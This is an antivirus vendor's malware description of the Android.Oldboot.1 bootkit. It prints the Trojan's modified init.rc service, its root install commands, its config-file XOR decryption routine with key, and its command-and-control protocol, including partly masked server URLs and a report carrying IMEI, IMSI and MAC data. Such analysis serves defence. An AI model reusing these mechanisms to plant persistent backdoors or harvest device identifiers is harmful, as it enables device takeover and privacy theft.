Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Android.Oldboot.1

Added to the Dr.Web virus database: 2014-01-20

Virus description added:

A Trojan that resides in the boot partition of the file system.

Once the infected device is turned on, the kernel image containing a modified init.rc script, /sbin/imei_chk, and /sbin/.bootinfo is extracted. After that, the init.rc script is read by the operating system.

The init.rc script has the following changes:

service imei_chk /sbin/imei_chk
class core
socket imei_chk stream 666

Based on these commands, the operating system launches the /sbin/imei_chk bootkit and creates a socket with the same name.

Bootkit's operation

/sbin/imei_chk acts as an installer of GoogleKernel.apk and libgooglekernel.so and as a gate though which GoogleKernel.apk can execute commands with root privileges via the socket at imei_chk.

Once launched, the bootkit extracts the GoogleKernel.apk and libgooglekernel.so files from its body and installs them as follows:

#scans /proc/mounts and identifies mounting /system
#remounts system to
mount -o remount,rw %s /system
#saves libgooglekernel.so
/system/lib/libgooglekernel.so
chown system.system libgooglekernel.so
chmod 644 libgooglekernel.so
#copies GoogleKernel.apk
/system/app/GoogleKernel.apk
chown system.system GoogleKernel.apk
chmod  644 GoogleKernel.apk
mount -o remount,ro rootfs /system
pm enable com.android.googlekernel

Among environmental variables, the bootkit searches for the socket created on system startup and listens for the following commands:

cmds—can execute any command with root privileges via console,
get_mnt_dev_name—name of the mounted device,
get_channel_id—command results in the reply with 888888 or a string from /sbin/.bootinfo.

GoogleKernel.apk and libgooglekernel.so components

GoogleKernel.apk is a bot that operates as a service. It contains lib/armeabi/libgooglekernel.so that can be used when root privileges are not available. It closely communicates with the libgooglekernel.so library that performs main malicious actions and has a number of exported functions. Moreover, native code of this library can call Java classes using JNI.

Once launched, GoogleKernel.apk creates a system thread and calls the main exported function doWork.

Communication with the server

The bot communicates with several command and control servers and can receive lists with new addresses.

Step 1—get a domain list

First, the bot reads the configuration file and decrypts it.

/data/data/com.android.googlekernel/db/data.i

Decryption routine is as follows:

function despan($data){
    $key="\xA1\x12\xF3\x92\xAE\x3E\x29\xCD";
    $l=strlen($data);
    $s="";
    $j=0;
    for ($i=0;$i<$l;$i++){
    $s.=chr(ord($data[$i])^ord($key[$j]));
    $j++;
    $j=$j%8;
    }
    return $s;
}

The bot also examines the checksum of the file as follows:

function checksum($data){
    $r=0;
    $l=strlen($data);
    for ($i=0;$i<$l;$i++){
    $r=$r+(ord($data[$i]));
    }
    return $r;
}

File structure is as follows:

struct CFG{
    uint8 encrypt_data[];
    uint32 sum;
};

This file contains the list of domains separated by commas. If the file is missing, it is downloaded from http://info.[xxxxxxxxxx].com/data.i.

In reply to the download request, the bot receives an encrypted file with details on its checksum. An unchecked file is saved to /data/data/com.android.googlekernel/db/data.i.

Step 2—GET request and acquiring basic configuration data to activate bot's backup servers

GoogleKernel.apk consecutively sends GET requests to domains from the /data/data/com.android.googlekernel/db/data.i list for the %chanal_id%.json script. The chanal_id parameter is stored in the bot's body (the value equals 8008). Then the bot waits for a JSON object. The configuration file can contain the following commands:

  • su—activate HZ_main (http://[xxxxxxxx]666.com:8090/backurl.do, [xxxxxxxx]666.com, [xxxxxxxx]666.com) and main (http://[xxxx]108.net/install.html, [xxx]6.com, [xxxx]fy.com, [xxx]jobs.com);
  • type—activate MY_main (http://[xxxxxxx]999.com:8090/backurl.do, [xxxxxxxx6666].com);
  • install—download and install an APK file on the device; the file contains additional parameters (id, app, main, ver, vercode, size, path);
  • uninstall—remove APK (app).

Step 3—POST request and sending bot statistics

Depending on the command type (“su” (HZ_main, main) and “type” (MY_main)), relevant features and configuration files are activated. These functions are identical and differ only in domain names and path to saved settings.

MY_main function

Files are placed into the following directory:

/data/data/com.android.googlekernel/bakdata/
mnt/sdcard/.android_security/bakdata.i
bakdata.i—command and control server at [xxxxxxxxx]666.com
dns.i—DNS parameter domains
post.i
db.i

The bot sends a POST request and the /installreq.do /installreq2.do script with the bot's information in GZIP format (urlencode(JSON)) to [xxxxxxxxx666].com to port 8090 or 9090.

<?xml version='1.0' encoding='UTF-8 ' ?>
<HB>
    <DN>golden</DN> #Build.DEVICE
    <DT>GT-I8190</DT> #Build.MODEL
    <OS>4.1.2</OS> #Build.VERSION.RELEASE
    <EI>356507059351894</EI> #localTelephonyManager.getDeviceId()
    <SI>250026699187743</SI> #localTelephonyManager.getSubscriberId()
    <AC>30</AC> #versionspan
    <PN>3.0</PN> #versionName
    <ID>8631ccb43a5dc066ae7920c43f36dc40</ID> #getId
    <CI>8008</CI> #getChannelId
    <TN></TN> #localTelephonyManager.getLine1Number()
    <NE>TYPE_WIFI</NE> #NETWORK_TYPE
    <MAC>9C:3A:AF:51:01:F6</MAC> #MAC
    <PATH>D</PATH> #debug, release
    <ISS />
    <RSS />
</HB>

Then the malicious program waits for a JSON command.

[{"addr":"","cardid":"db8ce287d3e712a9c2936a39bf165e43","dns":"[xxxxxxxx]66.com","repost":"1","time":"720","install":[],"uninstall":[]}]

The following commands can be executed:

  • addr—phone number (this feature is not implemented),
  • install—install APK,
  • uninstall—remove APK,
  • dns—domains (ACTION_TEST_BROADCAST, TEST_BROADCAST_LABEL executes broadcast),
  • repost—number,
  • cardid—server sends ID that is stored to a file,
  • time—timeout.

HZ_main function

http://[xxxxxxxx]666.com:8090/backurl.do
[xxxxxxxx]666.com,[xxxxxxxx]666.com
/data/data/com.android.googlekernel/bak/
dns.i
post.i
db.i
mnt/sdcard/.android_security/
mnt/sdcard/.android_security/bakdb.i

main function

http://[xxxx]108.net/install.html
[xx]y6.com,[xxxx]fy.com,[xxx]jobs.com
/data/data/com.android.googlekernel/data/
dns.i
post.i
db.i
mnt/sdcard/.android_security/
mnt/sdcard/.android_security/db.i

This functions sends a GET report as follows:

http://[xxxxxxxx]666.com:8090/installapp.do?cardid=db8ce287d3e712a9c2936a39bf165e43&appid=db8ce287d3e712a9c2936a39bf165e44&net=NETWORK_TYPE_UMTS&channelid=540042

The bot gets the following domains from the server:

[xxx]pfr.net, [xxx]ile.net, [xx]ppw.net, [xxx]tte.net

Curing recommendations


Android

  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android